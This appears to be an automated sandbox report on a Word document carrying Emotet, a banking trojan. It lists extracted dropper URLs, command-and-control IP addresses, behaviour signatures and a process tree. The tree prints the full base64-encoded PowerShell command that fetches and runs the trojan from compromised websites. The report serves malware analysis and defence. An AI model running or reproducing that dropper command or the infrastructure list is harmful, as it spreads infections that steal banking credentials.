Overview

overview

10

Static

static

8

UNTITLED 2...04.doc

windows7_x64

10

UNTITLED 2...04.doc

windows10_x64

10

Analysis

  • max time kernel
    65s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    04/09/2020, 07:37

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    UNTITLED 2020_09_04.doc
  • Size 182KB
  • Sample200904-hcbaklsfms
  • SHA256 a609f7e20b48bdd41568b99bce2cb2882716da265eb0b2da0207bfdccee6288f
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://sociallistsystem.com/wp-content/334/
  • exe.dropper

    http://reymo.com/wp-content/P1/
  • exe.dropper

    http://rejasan.com/icon/ggp/
  • exe.dropper

    http://thammynhp.com/wp-includes/fiP/
  • exe.dropper

    http://refinanz.org/bachelorme_de/6i/
  • exe.dropper

    https://bewellstyle.com/wp-content/2Mi/
  • exe.dropper

    http://tourgunungkidul.com/js/Mz/

Extracted

Family

  • emotet

C2

  • 185.215.227.107:443

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 172.104.169.32:8080

  • 68.183.190.199:8080

  • 187.162.248.237:80

  • 82.76.111.249:443

  • 184.66.18.83:80

  • 190.6.193.152:8080

  • 77.238.212.227:80

  • 199.203.62.165:80

  • 188.2.217.94:80

  • 185.94.252.12:80

  • 178.250.54.208:8080

  • 206.15.68.237:443

  • 65.36.62.20:80

  • 216.47.196.104:80

  • 219.92.8.17:8080

  • 213.60.96.117:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\UNTITLED 2020_09_04.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1516
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABRAHQAdQA4AHEAaQBiAD0AKAAoACcATgAnACsAJwB5AGkAJwApACsAJwA5ADgAJwArACcAcAAzACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBzAGUAUgBwAFIATwBmAGkAbABlAFwATwB1AGkANAA4ADgAXwBcAEQANABHAGUAMQBsAHkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAUgBJAHQAYAB5AGAAUAByAE8AYABUAG8AYwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIALAAnACsAJwAgACcAKQArACcAdABsACcAKwAnAHMAMQAnACsAKAAnADEALAAgACcAKwAnAHQAbAAnACsAJwBzACcAKQApADsAJABWAHgAZgBlAGkAdgAxACAAPQAgACgAJwBUACcAKwAoACcAawB1ADYAegAnACsAJwB0ACcAKQArACcAbAAnACkAOwAkAE4AbwBoAGgAbgA0ADMAPQAoACgAJwBaAHMAJwArACcAcwAnACkAKwAoACcAMQBiACcAKwAnADUAdgAnACkAKQA7ACQAWgB0ADIAbABfAHUAOQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBUAEgAJwArACgAJwAzAE8AJwArACcAdQAnACkAKwAnAGkAJwArACcANAA4ACcAKwAnADgAJwArACgAJwBfACcAKwAnAFQASAAnACkAKwAoACcAMwAnACsAJwBEADQAZwBlADEAbAAnACsAJwB5AFQASAAnACsAJwAzACcAKQApAC4AIgBSAEUAcABgAEwAYABBAEMARQAiACgAKABbAEMASABhAFIAXQA4ADQAKwBbAEMASABhAFIAXQA3ADIAKwBbAEMASABhAFIAXQA1ADEAKQAsACcAXAAnACkAKQArACQAVgB4AGYAZQBpAHYAMQArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAE4AaABqAGoAeQBjAHIAPQAoACcAQQAnACsAKAAnADIAJwArACcAbwBxADMANQA5ACcAKQApADsAJABPADkAMQB0AHEAaAB1AD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMATABpAGUAbgBUADsAJABQAHEAZgBjAHYAYgB0AD0AKAAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6ACcAKwAnAC8AJwArACcALwAnACsAJwBzAG8AYwBpAGEAbABsAGkAcwB0AHMAeQBzACcAKwAnAHQAZQAnACsAJwBtAC4AJwApACsAKAAnAGMAbwAnACsAJwBtAC8AdwAnACkAKwAoACcAcAAtAGMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGUAbgB0AC8AMwAnACsAJwAzACcAKQArACgAJwA0AC8AJwArACcAKgBoACcAKwAnAHQAdABwACcAKwAnADoALwAnACkAKwAnAC8AcgAnACsAKAAnAGUAeQBtACcAKwAnAG8ALgAnACsAJwBjAG8AJwApACsAKAAnAG0ALwB3AHAALQAnACsAJwBjACcAKwAnAG8AbgB0AGUAJwApACsAJwBuACcAKwAoACcAdAAnACsAJwAvAFAAMQAvACoAJwApACsAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAHIAZQBqACcAKwAnAGEAcwAnACkAKwAoACcAYQBuACcAKwAnAC4AYwBvAG0ALwBpACcAKQArACgAJwBjAG8AbgAvACcAKwAnAGcAJwArACcAZwBwAC8AJwApACsAJwAqACcAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwADoAJwArACgAJwAvAC8AdAAnACsAJwBoACcAKwAnAGEAbQBtACcAKQArACcAeQBuACcAKwAoACcAaABwACcAKwAnAC4AYwBvAG0ALwAnACsAJwB3AHAALQAnACkAKwAnAGkAbgAnACsAKAAnAGMAbAB1AGQAZQBzAC8AJwArACcAZgBpACcAKwAnAFAALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwADoALwAnACsAJwAvAHIAJwApACsAKAAnAGUAZgAnACsAJwBpAG4AYQAnACkAKwAoACcAbgB6AC4AbwAnACsAJwByAGcAJwApACsAKAAnAC8AYgBhACcAKwAnAGMAaABlAGwAbwAnACsAJwByAG0AZQAnACkAKwAnAF8AJwArACcAZAAnACsAKAAnAGUAJwArACcALwA2ACcAKQArACgAJwBpAC8AKgBoAHQAJwArACcAdABwACcAKQArACgAJwBzADoAJwArACcALwAvAGIAJwApACsAKAAnAGUAdwAnACsAJwBlAGwAJwApACsAKAAnAGwAJwArACcAcwB0AHkAJwApACsAKAAnAGwAJwArACcAZQAuACcAKwAnAGMAbwBtAC8AdwBwACcAKwAnAC0AYwBvACcAKQArACgAJwBuAHQAZQBuACcAKwAnAHQALwAnACkAKwAoACcAMgBNAGkALwAnACsAJwAqACcAKQArACgAJwBoAHQAJwArACcAdABwADoALwAnACkAKwAoACcALwB0ACcAKwAnAG8AdQByAGcAJwApACsAJwB1AG4AJwArACgAJwB1ACcAKwAnAG4AZwBrACcAKQArACgAJwBpAGQAdQBsAC4AJwArACcAYwBvAG0AJwArACcALwAnACkAKwAoACcAagBzAC8ATQAnACsAJwB6AC8AJwApACkALgAiAHMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgByAG8AYwBiADYAeQA9ACgAJwBYADEAJwArACgAJwAwACcAKwAnAG8AOAAnACkAKwAnAGMAcAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABBAHIAbABlAHAAOQBsACAAaQBuACAAJABQAHEAZgBjAHYAYgB0ACkAewB0AHIAeQB7ACQATwA5ADEAdABxAGgAdQAuACIAZABvAFcAbgBMAE8AQQBgAGQAYABGAGkAYABsAEUAIgAoACQAQQByAGwAZQBwADkAbAAsACAAJABaAHQAMgBsAF8AdQA5ACkAOwAkAFMAaABtAHMAagBiAHAAPQAoACgAJwBYAHIAJwArACcAaAAnACkAKwAnAHgAcAAnACsAJwBtADIAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFoAdAAyAGwAXwB1ADkAKQAuACIATABFAGAATgBHAFQAaAAiACAALQBnAGUAIAAyADMAMAAyADkAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAJwArACcAbwBrAGUALQBJAHQAZQBtACcAKQAoACQAWgB0ADIAbABfAHUAOQApADsAJABLAHIAdQBwAHMAawB5AD0AKAAnAE4AJwArACgAJwBuADAAJwArACcAZABjADUAJwArACcAOQAnACkAKQA7AGIAcgBlAGEAawA7ACQATAAxAHUAcgBxADYAZwA9ACgAJwBYACcAKwAnAGcAdgAnACsAKAAnAHkAJwArACcAYgBsAHUAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFYANgBzAHcANgBzAGgAPQAoACgAJwBSADAAJwArACcAMQB6AHEAbgAnACkAKwAnADUAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1292
    • C:\Users\Admin\Oui488_\D4ge1ly\Tku6ztl.exe
      "C:\Users\Admin\Oui488_\D4ge1ly\Tku6ztl.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:900
      • C:\Windows\SysWOW64\fmifs\FirewallAPI.exe
        "C:\Windows\SysWOW64\fmifs\FirewallAPI.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2028

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/900-19-0x0000000000490000-0x000000000049C000-memory.dmp
        Download

        memory/900-18-0x0000000000480000-0x000000000048D000-memory.dmp
        Download

        memory/1292-10-0x000000001AE40000-0x000000001AE41000-memory.dmp
        Download

        memory/1292-13-0x000000001ABF0000-0x000000001ABF1000-memory.dmp
        Download

        memory/1292-14-0x000000001C1E0000-0x000000001C1E1000-memory.dmp
        Download

        memory/1292-12-0x0000000002270000-0x0000000002271000-memory.dmp
        Download

        memory/1292-11-0x0000000002510000-0x0000000002511000-memory.dmp
        Download

        memory/1292-9-0x0000000002440000-0x0000000002441000-memory.dmp
        Download

        memory/1292-8-0x000007FEEA950000-0x000007FEEB33C000-memory.dmp
        Download

        memory/1472-24-0x000007FEF8560000-0x000007FEF87DA000-memory.dmp
        Download

        memory/1516-2-0x0000000008AB0000-0x0000000008AB4000-memory.dmp
        Download

        memory/1516-5-0x000000000AF30000-0x000000000AF34000-memory.dmp
        Download

        memory/2028-22-0x0000000000640000-0x000000000064D000-memory.dmp
        Download

        memory/2028-23-0x0000000000860000-0x000000000086C000-memory.dmp
        Download